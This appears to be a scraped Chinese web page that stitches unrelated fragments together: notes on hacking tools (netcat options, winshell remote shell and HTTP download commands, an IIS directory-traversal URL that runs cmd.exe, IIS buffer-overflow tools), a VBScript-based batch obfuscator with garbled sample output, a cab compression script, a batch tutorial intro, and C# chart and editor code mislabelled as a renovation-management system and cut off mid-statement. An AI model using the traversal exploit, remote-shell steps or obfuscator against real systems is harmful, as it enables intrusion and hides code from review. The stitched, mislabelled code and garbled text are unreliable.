批处理远控源码
批处理远程连接方法
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
d shutDown (关闭机器)
s Shell (执行后你就会看到可爱的“C:\>”)
x eXit (退出本次登录会话,此命令并不终止winshell的运行)
CMD> http://……/srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
xscan -file <主机列表文件名> <检测项目> [其他选项]
其中<检测项目> 含义如下:
-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表);
然后可以直接令文件运行:
http://IP地址/s cripts/……%255c……%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp.
BAT批处理代码加密与解密
先给大家演示BAT代码加密用清理垃圾.bat 为例原代码echo IE...del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\Local Settings\Temp\*.*"echo *.tmp *._tmp *.log *.chk *.old ...del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mprem .logrem del /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.oldecho ...del /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\temprem cooke...rem del /f /q %userprofile%\COOKIES s\*.*rem del /f /q %userprofile%\recent\*.*echo ...%windir%\system32\sfc.exe /purgecacheecho ...%windir%\system32\defrag.exe %systemdrive% -bechoecho -----------------------------------------------------------------------------.bat未加密前†㸲畮൬挊獬捥潨䤠⹅⹅敤是⹅焯∠甥敳灲潲楦敬尥潌慣敓瑴湩獧呜浥潰慲祲䤠瑮牥敮⁴楆敬屳⹅∪敤是⹅焯∠甥敳灲潲楦敬尥潌慣敓瑴湩獧呜浥屰⹅∪捥潨†⹅浴⁰⹅瑟灭氮杯挮歨漮摬⹅⹅敤是⹅焯┠祳瑳浥牤癩╥琮灭敤是⹅焯┠祳瑳浥牤癩╥弮灭敲氮杯敲敤是⹅焯┠祳瑳浥牤癩╥氮杯敤是⹅焯┠祳瑳浥牤癩╥朮摩敤是⹅焯┠祳瑳浥牤癩╥挮歨敤是⹅焯┠祳瑳浥牤癩╥漮摬捥潨⹅⹅敤是⹅焯┠祳瑳浥牤癩╥牜捥捹敬層⹅പ搊汥⹅猯⹅眥湩楤╲戮歡敤是⹅焯┠楷摮物尥牰晥瑥档摲⹅焯┠楷摮物尥整灭☠洠眥湩楤╲瑜浥爊浥挠潯敫⹅മ爊浥搠汥⹅焯┠獵牥牰景汩╥䍜住䥋卅猠敲敤是⹅甥敳灲潲楦敬尥敲散瑮捥潨⹅⹅眥湩楤╲獜獹整㍭尲晳⹅硥瀯牵敧慣档攊档⹅മ┊楷摮物尥祳瑳浥㈳摜晥慲⹅硥猥獹整摭楲敶‥戭捥潨ഠ攊档ഭ⹅慢加密后代码不错吧不想让别人知道你的源代码试试吧用法将垃圾清理图标拖到解密器文件上松开鼠标选择A加密OK啦已加密的文件还是原来的功能但是看不到源代码例如下面把加密器代码给大家复制保存为.bat文件@Echo off&color a&Title BAT文件加密、解密器(By )if ""%1"" == """" echo.&echo 请将要操作的文件直接拖到本Bat图标上然后按提示进行操作(任意键退出.....)&echo.&echo (加密再解密可以去除文件中的多余空格哦)&pause>nul&&Exitfor %%A in (%0) do Set CdPath=%%~dA%%~pAfor %%B in (%1) do Set 待处理文件名=%%~nB%%~xBecho.echo 待操作对象: ( %1 )echo.echo.:选择SET /P 选择=请输入对其的操作(A.加密、B.解密):if /i "%选择%" == "A" Goto 加密if /i "%选择%" == "B" (Goto 解密) else (Goto 选择):加密set _vbs=%temp%\Bat加密.vbsset Bat加密_=%temp%\Bat加密for %%a in (%Bat加密_%) do (if "%%~za" NEQ "16" (echo bs=_>%_vbs%echo "/7PIgIjPuVHbNowYsNXDKA=="+_>>%_vbs%echo "":set rs=CreateObject^("ADODB.Recordset"^)>>%_vbs%echo set ado=CreateObject^("ADODB.Stream"^)>>%_vbs%echo l=len^(bs^):ss="":for k=1 to l step 4096:ss=ss+ub64^(mid^(bs,k,4096^)^):next:l=len^(ss^)>>%_vbs%echo rs.fields.append "b",205,l/2:rs.open:rs.addnew:rs^("b"^)=ss+chrb^(0^):rs.update>>%_vbs% echo ado.mode=3:ado.type=1:ado.open:ado.write rs^("b"^).getchunk^(l/2^)>>%_vbs%echo ado.savetofile "%Bat加密_%",2:ado.close>>%_vbs%echo function ub64^(s^):dim t^(4^),b^(3^):ub64="":n=len^(s^):r=2 >>%_vbs%echo if n mod 4^<^>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 >>%_vbs%echo a=asc^(mid^(s,i+j,1^)^):if a=43 then:a=62:else if a=47 then:a=63:else if a^>47 and a^<58 then:_>>%_vbs%echo a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a^>64 and a^<91 then:_>>%_vbs%echo a=a-65:else if a^>96 and a^<123 then:a=a-71:else:exit function:_>>%_vbs%echo end if:end if:end if:end if:end if:end if:t^(j^)=a:next>>%_vbs%echo b^(0^)=t^(0^)+t^(1^)*64 mod 256:b^(1^)=t^(1^)\4+t^(2^)*16 mod 256:b^(2^)=t^(2^)\16+t^(3^)*4 >>%_vbs%echo for j=0 to r:if b^(j^)^<16 then ub64=ub64+"0":end if:ub64=ub64+hex^(b^(j^)^)>>%_vbs% echo next:next:end function>>%_vbs%cscript.exe //nologo %_vbs%&del %_vbs%))if exist "%CdPath%已加密_%待处理文件名%" rename "%CdPath%已加密_%待处理文件名%" "Bak最原始_已加密_%待处理文件名%"1>nul 2>nulcopy /b "%Bat加密_%"+%1 "%CdPath%已加密_%待处理文件名%">nul&&Exit:解密set Bat解密_=%temp%\Bat解密echo.>"%Bat解密_%"if exist "%CdPath%已解密_%待处理文件名%" rename "%CdPath%已解密_%待处理文件名%" "Bak最原始_已解密_%待处理文件名%"1>nul 2>nuldel /f "%CdPath%已解密_%待处理文件名%"1>nul 2>nulcopy /b "%Bat解密_%"+%1 "%Bat解密_%">nulfor /f "skip=3 tokens=*" %%i in ('type "%Bat解密_%"') do if not "%%i"=="" echo %%i>>"%CdPath%已解密_%待处理文件名%"Exit。
cab压缩批处理程序源码
介绍:因为工作上需要,所以接触到cab压缩文件,网上也有一些前辈写的相识cab压缩的程序,不过不是使用麻烦就是功能欠缺。
所以我写了这个程序方便使用,本程序具有可配置,功能强的特点,能压缩单个文件以及复杂的文件夹,使用简单。
内容:分3个批处理,“cabtranslate.bat”是压缩处理程序,“注册cab右键菜单.bat”和“删除cab右键菜单.bat”是辅助程序。
使用方法:3个程序放在同一目录下, 运行“注册cab右键菜单.bat”注册程序,就能使用了。
需要压缩文件、文件夹时,右键点击该文件\文件夹,弹出菜单里点cab压缩就OK了。
下面贴程序源码,对批处理有兴趣的同学大家可以交流下,我QQ190582523第一个程序: cabtranslate.bat ,请复制下面到txt文件中,保存成cabtranslate.bat文件.@echo offrem@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@rem @ 参数设定@rem @ 根据需要在"="后面填写合适的值@rem@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@rem @ 设定压缩率@rem @ 可设范围:15-21,21为最高压缩率@set /A pressionPct=21rem@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@rem @ 设定存放目录@rem @ 可以指定目录,不设值则保存到源文件相同目录下@rem @ 注意事项: "="后面不要留空格,末尾不留"\" @set savePath=rem@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@rem @ 设定压缩方式@rem @ 可以指定NONE、MSZIP、LZX之一@set style=LZXrem@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@COLOR 1FTITLE cab打包工具if "%~1"=="" (echo Please drag any file or a folder in!echo 请按任意键退出!pause>nulgoto :eof)set rootPath=%~dp1set open=trueset showPath=%savePath%set savePath=%savePath%\if "%savePath%"=="\" (set savePath=%rootPath%set showPath=当前目录set open=false)echo.echo CAB 打包工具!echo.echo 执行路径:%~0echo 存放目录:%showPath%echo.echo 详细设置请修改%~0echo.echo.for %%a in (%*) do call :main %%aif "%open%"=="true" start explorer /select,%savePath%%~n1%.cabecho 完成打包,请按任意键退出!pause>nulgoto :eof:mainecho 打包"%~nx1%.cab":configureTITLE cab打包工具- 获取压缩文件清单echo 获取文件清单set ListFile="%rootPath%%~nx1%.cab.ini"echo .OPTION EXPLICIT>%ListFile%echo .Set DiskDirectoryTemplate=%savePath%>>%ListFile% echo .Set CabinetNameTemplate="%~nx1.cab">>%ListFile% echo .Set CompressionType=%style%>>%ListFile%echo .Set CompressionMemory=%pressionPct%>>%ListFile% echo .Set Compress=On>>%ListFile%echo .Set FolderSizeThreshold=5000000>>%ListFile%echo .set maxdisksize=1024000000>>%ListFile%echo .Set UniqueFiles="OFF">>%ListFile%if "%~a1%"=="--a------" (echo %1>>%ListFile%goto :make)echo .Set DestinationDir=>>%ListFile%for %%c in ("%rootPath%%~nx1%\*.*") do (echo "%%c">>%ListFile%)for /f "delims=" %%d in ('dir /ad /b "%~nx1%"') do (set mmm="%~n1\%%d%"call :dofolder "%%d" "%~n1\%%d")goto :make:dofolderecho .Set DestinationDir=%1>>%ListFile%for %%a in ("%rootPath%%~2%\*.*") do (echo "%%a">>%ListFile%)for /f "delims=" %%b in ('dir /ad /b "%~2"') do (call :dofolder "%~1\%%b" "%~2\%%b")goto :eof:makeTITLE cab打包工具- 压缩文件echo 压缩中...@makecab.exe /f %ListFile%>nulecho 完成!echo.TITLE cab打包工具del setup.rptdel setup.infdel %ListFile%goto :eof第2个程序: 注册cab右键菜单.bat ,请复制下面到txt文件中,保存成“注册cab右键菜单.bat”@reg add HKCR\AllFilesystemObjects\shell\cabtranslate /ve /d "添加到cab压缩文件(&B)">NUL@reg add HKCR\AllFilesystemObjects\shell\cabtranslate\command /ve /d "%~dp0cabtranslate.bat \"%%1\"">NUL@pause第3个程序: 删除cab右键菜单.bat ,请复制下面到txt文件中,保存成“删除cab右键菜单.bat”@echo Y | @reg delete HKCR\AllFilesystemObjects\shell\cabtranslate@pause。
Bat批处理命令使用教程(完整篇)
Bat批处理命令使用教程(完整篇) 安全中国 更新时间:2007-9-14 7:58:30 责任编辑:阿loosen热点:这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。
写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
先概述一下批处理是个什么东东。
批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个‚比较合适的‛,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。
或许你会因为这篇文章而‚无条件爱上批处理‛,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
OK,never claver and get to business(闲话少说言归正传)。
批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。
批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。
所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。
1.DPM云家装过程管控系统 源代码
//§家装项目管理类//using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class家装项目管理/** 家装项目建立* 项目的进度把控* 参与的公司、人员管理* 项目的实施效果管理*/{/// Defines the <see cref="DataSeries"/> visual representation to be Bar chart.[Description("Defines the DataSeries visual representation to be Bar chart.")]public class BarSeriesDefinition : SeriesDefinition, ILinearSeriesDefinition{/// Identifies the <see cref="LabelSettings"/> dependency property.//通过标准的项目编码新建一个项目并存储public static readonly DependencyProperty LabelSettingsProperty= DependencyProperty.Register("LabelSettings",typeof(BarLabelSettings),typeof(BarSeriesDefinition),new PropertyMetadata(null, OnLabelSettingsPropertyChanged, OnLabelSettingsCoerceValue));/// Initializes a new instance of the <see cref="BarSeriesDefinition"/> class.//在新建的项目中设立项目必备的家装元素[Description("Initializes a new instance of the BarSeriesDefinition class.")] public BarSeriesDefinition(){((IAggregationGroupSeriesDefinition)this).AggregationGroup= new AggregationGroup(typeof(BarAggregator), typeof(SimpleYAggregator), "Bar");belPositionGenerator = new BarLabelPositionGenerator(this);belSettings = this.CreateDefaultLabelSettings<BarLabelSettings>();}/// Gets the type of the <see cref="DataPoint"/>s in the <see cref="DataSeries"/>.//管理项目中的人员与公司[Description("Gets the type of the items in the DataSeries")]public override System.Type ItemType{get{return typeof(Bar);}}/// Gets the type of the <see cref="DataSeries"/> visual container.//项目的整体把控[Description("Gets the type of the DataSeries visual container.")]public override System.Type ContainerType{get{return typeof(Series);}}/// Gets the label settings.//项目风险预警///<value>The label settings.</value>[Description("Gets the label settings.")]public BarLabelSettings LabelSettings{get{return (BarLabelSettings)this.GetValue(LabelSettingsProperty);}set{this.SetValue(LabelSettingsProperty, value);}}AxisLayoutMode ILinearSeriesDefinition.DefaultLayoutMode{get{return AxisLayoutMode.Between;//项目的初始化设置}}/// Gets the resource id associated with the Bar chart./// For more information, please, refer to <see cref="ISeriesDefinition.ResourceId"/>.///<value>The resource id.</value>///<seealso cref="ISeriesDefinition.ResourceId"/>[Description("Gets the resource id associated with the Bar chart. For more information, please, refer to ISeriesDefinition.ResourceId.")]public override object ResourceId{get{return ResourceHelper.ResourceKeyBarStyle;}}/// Gets the preferred label display mode.///<value>The preferred label display mode.</value>[Description("Gets the preferred label display mode.")]public override LabelDisplayMode PreferredLabelDisplayMode{get{return LabelDisplayMode.Outside;//项目施工过程中遭遇的不可控因素,导致项目变更}}/// Creates specific IChartItem instance for this series definition type.///<returns></returns>public override IChartItem CreateChartItem(){return new Bar();}//项目中文件资料的存储/// Creates an instance of the panel for this series definition type.///<returns></returns>[Description("Creates an instance of the panel for this series definition type.")]public override System.Windows.Controls.Panel CreateSeriesPanel(){return new BarSeriesPanel();}internal override LabelSettings GetLabelSettings(){return belSettings;}internal override LabelSettings CreateDefaultLabelSettings(){return this.CreateDefaultLabelSettings<BarLabelSettings>();}internal override void ConfigureDefaultLabelSettings(LabelSettings settings){settings.AlternativeLabelPositions = new List<Point>(new Point[]{new Point(0, 0),new Point(0, -1),new Point(0, -2)});}internal override void AttachEvents(){base.AttachEvents();this.AttachLabelSettingsPropertyChangedEvent(belSettings);}internal override void ReattachEvents(SeriesDefinition seriesDefinition){belSettings.PropertyChanged -= belSettingsPropertyChanged;base.ReattachEvents(seriesDefinition);}internal override void PerformClone(SeriesDefinition clone){BarSeriesDefinition clonedDefinition = clone as BarSeriesDefinition;if (clonedDefinition != null && belSettings != null){belSettings = belSettings.Clone<BarLabelSettings>();belPositionGenerator= new BarLabelPositionGenerator(clonedDefinition);}}internal void SetLabelSettings(BarLabelSettings settings){belSettings = settings;}}}}//§资金主线类//using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class资金主线{/// Map provider which don't show any map images./// It can be used when we need not to show real map images on the control,/// but only some geometries given in the geographical coordinates.public class EmptyProvider : MapProviderBase{/// Identifies the <see cref="DistanceUnit"/> DistanceUnit dependency property.public static readonly DependencyProperty ProjectionProperty = DependencyProperty.Register("Projection",typeof(ISpatialReference),typeof(EmptyProvider),new PropertyMetadata());/// Initializes a new instance of the EmptyProvider class.[System.Diagnostics.CodeAnalysis.SuppressMessage("age","CA2214:DoNotCallOverridableMethodsInConstructors")]public EmptyProvider(): base(){this.Projection = new MercatorProjection();EmptyTileMapSource source = new EmptyTileMapSource();this.MapSources.Add(source.UniqueId, source);}/// Returns the SpatialReference for the map provider.public override ISpatialReference SpatialReference{get{if (this.Projection == null){return new MercatorProjection();}return this.Projection;}}/// Gets spatial reference.public ISpatialReference Projection{get{return (ISpatialReference)this.GetValue(ProjectionProperty);}set{this.SetValue(ProjectionProperty, value);}}}}}//§进度主线类//using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Windows;using System.Windows.Controls;using System.Windows.Data;using System.Windows.Documents;using System.Windows.Input;using System.Windows.Media;using System.Windows.Media.Imaging;using System.Windows.Navigation;using System.Windows.Shapes;using System.IO;public partial class进度主线{///Raises the <see cref="E:System.Windows.FrameworkElement.Initialized"/>event. This method is invoked whenever <see cref="P:System.Windows.FrameworkElement.IsInitialized"/> is set to true internally.///<param name="e">The <see cref="T:System.Windows.RoutedEventArgs"/>that contains the event data.</param>protected override void OnInitialized(EventArgs e){base.OnInitialized(e);this.SetDefaultStyleKey();}#endifstatic HeaderFooterPresenterBase(){#if WPFDefaultStyleKeyProperty.OverrideMetadata(typeof(HeaderFooterPresenterBase), new FrameworkPropertyMetadata(new ThemeResourceKey(typeof(Office_BlackTheme), typeof(HeaderFooterPresenterBase))));#endif}public HeaderFooterPresenterBase(){#if SILVERLIGHTthis.DefaultStyleKey =typeof(HeaderFooterPresenterBase);#endifthis.HasFadeInReadOnlyMode = true;stRegisteredButtonDown = DateTime.MinValue;}public HeaderFooterPresenterBase(DocumentPagePresenter owner): this(){this.owner = owner;}#endregion#region Methods#if SILVERLIGHTprivate bool CheckMultipleClick(){DateTime previousButtonDown = lastRegisteredButtonDown;lastRegisteredButtonDown = DateTime.Now;if((lastRegisteredButtonDown- previousButtonDown)< TimeSpan.FromMilliseconds(MouseSelectionHandler.CLICK_TIMESPAN)){return true;}else{return false;}}private void HeaderFooterPresenterBase_MouseLeftButtonDown(object sender, MouseButtonEventArgs e){if(this.CheckMultipleClick()){this.OnMouseDoubleClick(e);}if(this.IsInEditHeaderFooterMode){//e.Handled = true;}}public event EventHandler<MouseButtonEventArgs> MouseDoubleClick;protected virtual void OnMouseDoubleClick(MouseButtonEventArgs e){if(this.MouseDoubleClick!=null){this.MouseDoubleClick(this, e);}}#endifprivate void DetachFromSectionEvents(){if (this.AssociatedSectionBox != null){this.AssociatedSectionBox.AssociatedSection.HeadersFootersChanged -= AssociatedSection_HeadersFootersChanged;}}private void AttachToSectionEvents(){if (this.AssociatedSectionBox != null){this.AssociatedSectionBox.AssociatedSection.HeadersFootersChanged += AssociatedSection_HeadersFootersChanged;}}void AssociatedSection_HeadersFootersChanged(object sender, EventArgs e){this.headersFootersChanged = true;}public void SetMaxHeight(float maxHeight){if (this.isTemplateApplied){this.WrappingStackPanel.MaxHeight = maxHeight;}else{this.maxHeightCache = maxHeight;}}public void SetOwner(DocumentPagePresenter owner){this.owner = owner;if (this.isTemplateApplied){this.BodyRichTextBox.OwnerUIElement = this.owner;}}public void Update(SectionLayoutBox associatedSectionBox, bool isInEditHeaderFooterMode, bool shouldFocus){this.AssociatedSectionBox = associatedSectionBox;this.IsInEditHeaderFooterMode = isInEditHeaderFooterMode;if (this.IsInEditHeaderFooterMode && shouldFocus){this.Dispatcher.BeginInvoke(new Action(this.BodyRichTextBox.Focus));}}public void CleanUp(){this.DetachFromOwnerEditorEvents();this.AssociatedSectionBox = null;}private void UpdateEditMode(){if (!this.isTemplateApplied){return;}this.BodyRichTextBox.Visibility = Visibility.Visible;if (this.IsInEditHeaderFooterMode){this.FadingRectangle.Visibility = Visibility.Collapsed;}else{if (this.HasFadeInReadOnlyMode){this.FadingRectangle.Visibility = Visibility.Visible;this.FadingRectangle.Height = this.GetUIHeight();}else{this.FadingRectangle.Visibility = Visibility.Collapsed;}if (this.BodyRichTextBox.Document.IsEmpty){this.BodyRichTextBox.Visibility = Visibility.Collapsed;}}if (!this.IsInEditHeaderFooterMode){this.BodyRichTextBox.IsSelectionEnabled = false;this.BodyRichTextBox.IsContextMenuEnabled = false;this.BodyRichTextBox.IsSelectionMiniToolBarEnabled = false;this.BodyRichTextBox.IsImageMiniToolBarEnabled = false;}else{RadRichTextBox ownerRadRichTextBox = this.Owner.Owner as RadRichTextBox;this.BodyRichTextBox.IsSelectionEnabled = true;if (ownerRadRichTextBox != null){BindingOperations.SetBinding(this.BodyRichTextBox,RadRichTextBox.IsContextMenuEnabledProperty,new Binding("IsContextMenuEnabled") { Source = ownerRadRichTextBox });BindingOperations.SetBinding(this.BodyRichTextBox,RadRichTextBox.IsSelectionMiniToolBarEnabledProperty,new Binding("IsSelectionMiniToolBarEnabled") { Source = ownerRadRichTextBox });BindingOperations.SetBinding(this.BodyRichTextBox,RadRichTextBox.IsImageMiniToolBarEnabledProperty,new Binding("IsImageMiniToolBarEnabled") { Source = ownerRadRichTextBox });}}}public abstract double GetUIHeight();protected abstract void UpdateSource();internal void UpdateBody(){if ((this.owner == null || stHeaderFooterChangeSource != this) &&this.isTemplateApplied){HeaderFooterType currentHeaderFooterType = this.AssociatedSectionBox.GetHeaderFooterType();if(this.headersFootersChanged || stHeaderFooterType != currentHeaderFooterType){RadDocument updatedBody = this.GetBody();updatedBody.MeasureAndArrangeInDefaultSize();updatedBody.Sections.First.FirstPageNumber = this.AssociatedSectionBox.PageNumber;RadDocument ownerDocument = this.owner.Owner.Document;updatedBody.FieldsDisplayMode = ownerDocument.FieldsDisplayMode;updatedBody.MailMergeDataSource.ItemsSource = new object[] { ownerDocument.MailMergeDataSource.CurrentItem };updatedBody.UpdateAllFields();//updatedBody.BeginUpdate();//updatedBody.BeginStructureChange();//var fieldRangeStarts = updatedBody.EnumerateChildrenOfType<FieldRangeStart>().Reverse();//foreach (var fieldRangeStart in fieldRangeStarts)//{// var pageNumberField = fieldRangeStart.Field as PageField;// if (pageNumberField != null)// {// Span span = new Span();// UpdateFieldCommandContext context = new UpdateFieldCommandContext(// updatedBody, fieldRangeStart, pageNumberField.DisplayMode, span, new Action(() => { }));// DocumentCommands.UpdateField.Execute(context);// }//}//updatedBody.EndStructureChange(true);//updatedBody.EndUpdate();this.SetDocumentSilently(updatedBody);this.headersFootersChanged = false;stHeaderFooterType = currentHeaderFooterType;}}}protected abstract void UpdateBodyMargin();protected abstract RadDocument GetBody();public override void OnApplyTemplate(){base.OnApplyTemplate();this.BodyRichTextBox = (RadRichTextBox)base.GetTemplateChild(HeaderFooterPresenterBase.BodyRichTextBoxName);this.FadingRectangle = (Rectangle)base.GetTemplateChild(HeaderFooterPresenterBase.FadingRectangleName);this.WrappingStackPanel = (StackPanel)base.GetTemplateChild(HeaderFooterPresenterBase.WrappingStackPanelName);if (this.maxHeightCache != float.NaN){this.WrappingStackPanel.MaxHeight = this.maxHeightCache;}this.isTemplateApplied = true;this.BodyRichTextBox.Document.MeasureAndArrangeInDefaultSize();if (this.owner != null){this.BodyRichTextBox.OwnerUIElement = this.owner;}#if SILVERLIGHTthis.FadingRectangle.MouseLeftButtonDown+= HeaderFooterPresenterBase_MouseLeftButtonDown;this.BodyRichTextBox.MouseLeftButtonDown+= HeaderFooterPresenterBase_MouseLeftButtonDown;#endifif (this.Owner != null){RadRichTextBox ownerEditor = (RadRichTextBox)this.Owner.Owner;this.BodyRichTextBox.CopyDeferredPropertyValuesFrom(ownerEditor);this.AttachToOwnerEditorEvents();SyncronizeInputBindings(ownerEditor, this.BodyRichTextBox);}else{// this is in case of printingthis.BodyRichTextBox.IsSpellCheckingEnabled = false;}if (this.associatedSectionBox != null){this.UpdateBody();this.UpdateBodyMargin();}this.BodyRichTextBox.GotFocus += BodyRichTextBox_GotFocus;this.BodyRichTextBox.DocumentPresentationChanged += BodyRichTextBox_DocumentPresentationChanged;this.UpdateEditMode();}private void AttachToOwnerEditorEvents(){if (this.Owner != null){this.attachedToDocumentEditor = this.Owner.Owner;this.attachedToDocumentEditor.HeaderFooterUIContext.HeaderFooterEditorPropertiesS ynchronizationNeeded += HeaderFooterUIContext_HeaderFooterEditorPropertiesSynchronizationNeeded;}}private void DetachFromOwnerEditorEvents(){if (this.attachedToDocumentEditor != null){this.attachedToDocumentEditor.HeaderFooterUIContext.HeaderFooterEditorPropertiesS ynchronizationNeeded -= HeaderFooterUIContext_HeaderFooterEditorPropertiesSynchronizationNeeded;}}void HeaderFooterUIContext_HeaderFooterEditorPropertiesSynchronizationNeeded(object sender, EventArgs e){RadRichTextBox ownerEditor = (RadRichTextBox)this.Owner.Owner;this.BodyRichTextBox.CopyDeferredPropertyValuesFrom(ownerEditor);}private void BodyRichTextBox_GotFocus(object sender, RoutedEventArgs e){if (this.Owner != null){this.UpdateOwnerUIContext();this.Owner.Owner.SetActiveDocumentEditor(this.BodyRichTextBox);}}// TODO move to RadRichTextBox?private static void SyncronizeInputBindings(RadRichTextBox mainEditor, RadRichTextBox activeEditor){// TODO create this list by enumerating all commands and check property or attributeList<RoutedCommand> commandsToExecuteOnMainEditor = new List<RoutedCommand>() {RichTextBoxCommands.RichTextBoxCommands.NewDocument,RichTextBoxCommands.RichTextBoxCommands.OpenDocument,RichTextBoxCommands.RichTextBoxCommands.Print,RichTextBoxCommands.RichTextBoxCommands.PrintPreview,RichTextBoxCommands.RichTextBoxCommands.Save,RichTextBoxCommands.RichTextBoxCommands.ToggleFormattingSymbols,RichTextBoxCommands.RichTextBoxCommands.ChangeLayoutMode,RichTextBoxCommands.RichTextBoxCommands.InsertPageBreak,RichTextBoxCommands.RichTextBoxCommands.ShowInsertHyperlinkDialog,RichTextBoxCommands.RichTextBoxCommands.ShowManageBookmarksDialog,RichTextBoxCommands.RichTextBoxCommands.ChangePageMargins,RichTextBoxCommands.RichTextBoxCommands.ChangePageOrientation,RichTextBoxCommands.RichTextBoxCommands.ChangePaperType,RichTextBoxCommands.RichTextBoxCommands.ToggleSpellChecking,RichTextBoxCommands.RichTextBoxCommands.InsertComment,RichTextBoxCommands.RichTextBoxCommands.DeleteComment,RichTextBoxCommands.RichTextBoxCommands.DeleteAllComments,RichTextBoxCommands.RichTextBoxCommands.GoToNextComment,RichTextBoxCommands.RichTextBoxCommands.GoToPreviousComment,RichTextBoxCommands.RichTextBoxCommands.ToggleComments,RichTextBoxCommands.RichTextBoxCommands.ChangeSectionHeaderTopMargin,RichTextBoxCommands.RichTextBoxCommands.ChangeSectionFooterBottomMargin,RichTextBoxCommands.RichTextBoxCommands.ToggleDifferentFirstPageHeaderFooter, RichTextBoxCommands.RichTextBoxCommands.ToggleDifferentOddAndEvenPagesHeade rFooter,RichTextBoxCommands.RichTextBoxCommands.ShowFloatingBlockPropertiesDialog,RichTextBoxCommands.RichTextBoxCommands.ChangeAllFieldsDisplayMode,RichTextBoxCommands.RichTextBoxCommands.PreviewFirstMailMergeDataRecord,RichTextBoxCommands.RichTextBoxCommands.PreviewPreviousMailMergeDataRecord, RichTextBoxCommands.RichTextBoxCommands.PreviewNextMailMergeDataRecord,RichTextBoxCommands.RichTextBoxCommands.PreviewLastMailMergeDataRecord,RichTextBoxCommands.RichTextBoxCommands.InsertMergeFieldEmpty,RichTextBoxCommands.RichTextBoxCommands.MailMerge,RichTextBoxCommands.RichTextBoxCommands.ToggleMergeFieldsHighlight,RichTextBoxCommands.RichTextBoxCommands.ChangeImageWrappingStyle,RichTextBoxCommands.RichTextBoxCommands.ConvertImageToImageInline,RichTextBoxCommands.RichTextBoxCommands.EditHeader,RichTextBoxCommands.RichTextBoxCommands.EditFooter};InputBindingCollection mainEditorCustomInputBindings;#if SILVERLIGHTmainEditorCustomInputBindings = CommandManager.GetInputBindings(mainEditor);#elsemainEditorCustomInputBindings = new InputBindingCollection(mainEditor.InputBindings); #endifInputBindingCollection mainEditorDefaultInputBindings = mainEditor.GetDefaultInputBindings();InputBindingCollection activeEditorInputBindings;#if SILVERLIGHTactiveEditorInputBindings =new InputBindingCollection();#elseactiveEditorInputBindings = activeEditor.InputBindings;activeEditorInputBindings.Clear();#endifforeach (RoutedCommand command in commandsToExecuteOnMainEditor){IEnumerable<InputBinding> inputBindingsForCommand = FindInputBindingsForCommand(mainEditorCustomInputBindings, command);if (!inputBindingsForCommand.Any()){inputBindingsForCommand = FindInputBindingsForCommand(mainEditorDefaultInputBindings, command);}// Add bindings to owner commandsforeach (InputBinding inputBindingForCommand in inputBindingsForCommand){ICommand ownerCommand = ((RichTextBoxRoutedCommand)mand).ResolveRichTextBoxComm and(mainEditor);activeEditorInputBindings.Add(new InputBinding(ownerCommand, inputBindingForCommand.Gesture));}}// Add all empty command bindings to the collection. This will disable all shortcuts disabled in the main editorif (mainEditorCustomInputBindings != 